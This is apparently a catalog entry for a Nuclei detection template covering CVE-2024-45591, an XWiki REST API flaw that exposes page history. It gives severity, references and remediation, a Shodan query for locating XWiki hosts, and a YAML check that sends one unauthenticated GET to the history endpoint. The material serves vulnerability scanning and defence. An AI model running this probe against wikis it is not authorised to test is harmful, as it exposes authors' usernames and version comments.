CVE-2024-45591: XWiki Platform - Unauthorized Document History Access
- Template: CVE-2024-45591
- Name: XWiki Platform - Unauthorized Document History Access
- Description: A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details (username and display name), and version comments, regardless of access rights configuration, even on private wikis.
- Impact: An attacker can access document history of any known page
- Remediation: Upgrade to XWiki Platform version 15.10.9 or 16.3.0-rc-1 or later. No workarounds are available for earlier versions
- Severity: medium
- Authors: pd-bot
- Tags: cve, cve2024, xwiki, exposure, rest-api, vuln
- References: https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm, https://jira.xwiki.org/browse/XWIKI-22052, https://nvd.nist.gov/vuln/detail/cve-2024-45591
- Cves: CVE-2024-45591
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2024/CVE-2024-45591.yaml
- Digest: 490a004630440220468a1939bbd46a96aacc5c370514b5df8bc984f8f5c21705f96113c092502d1b02207d1bddfb4eb5fe4a981d5851c8c73b79a0adcd7944d36c11cdd6f6ee8d8e0c33
- Created at: 2025-02-12T08:56:05Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 650
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-45591.yaml
Classification
- Cwe: CWE-359, CWE-862
- Cvss score: 5.3
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Epss score: 0.03417
- Epss percentile: 0.89201
- Cpe: cpe:2.3:a:xwiki:platform:*:*:*:*:*:*:*:*
Metadata
- Max-request: 1
- Product: xwiki-platform
- Shodan-query: http.html:"data-xwiki-reference"
- Vendor: xwiki
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| xwiki:xwiki-platform | no | — |
| xwiki:platform | no | — |
Labels
- Name: XWiki Platform - Information Disclosure
- Impact: Unauthorized users can access sensitive document history information, potentially aiding further attacks or information gathering.
- Remediation: Implement proper access controls on the REST API endpoint to restrict document history access based on user permissions.
- Vulnerability type: broken_access_control
- Vulnerability impact: information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2024-45591
- Not known: requirements
```yaml
id: CVE-2024-45591
info:
name: XWiki Platform - Unauthorized Document History Access
author: pd-bot
severity: medium
description: |
A vulnerability in XWiki Platform's REST API allows unauthorized users to access document history information. The REST API endpoint exposes the history of any page including modification times, version numbers, author details (username and display name), and version comments, regardless of access rights configuration, even on private wikis.
impact: |
An attacker can access document history of any known page
remediation: |
Upgrade to XWiki Platform version 15.10.9 or 16.3.0-rc-1 or later. No workarounds are available for earlier versions
reference:
- https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pvmm-55r5-g3mm
- https://jira.xwiki.org/browse/XWIKI-22052
- https://nvd.nist.gov/vuln/detail/cve-2024-45591
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-45591
cwe-id: CWE-359,CWE-862
epss-score: 0.03417
epss-percentile: 0.89201
cpe: cpe:2.3:a:xwiki:platform:*:*:*:*:*:*:*:*
metadata:
max-request: 1
verified: true
vendor: xwiki
product: xwiki-platform
shodan-query: http.html:"data-xwiki-reference"
tags: cve,cve2024,xwiki,exposure,rest-api,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/rest/wikis/xwiki/spaces/Main/pages/WebHome/history"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'version'
- 'historySummary'
- 'pageId'
- 'comment'
condition: and
- type: status
status:
- 200
digest: 490a004630440220468a1939bbd46a96aacc5c370514b5df8bc984f8f5c21705f96113c092502d1b02207d1bddfb4eb5fe4a981d5851c8c73b79a0adcd7944d36c11cdd6f6ee8d8e0c33:922c64590222798bb761d5b6d8e72950
```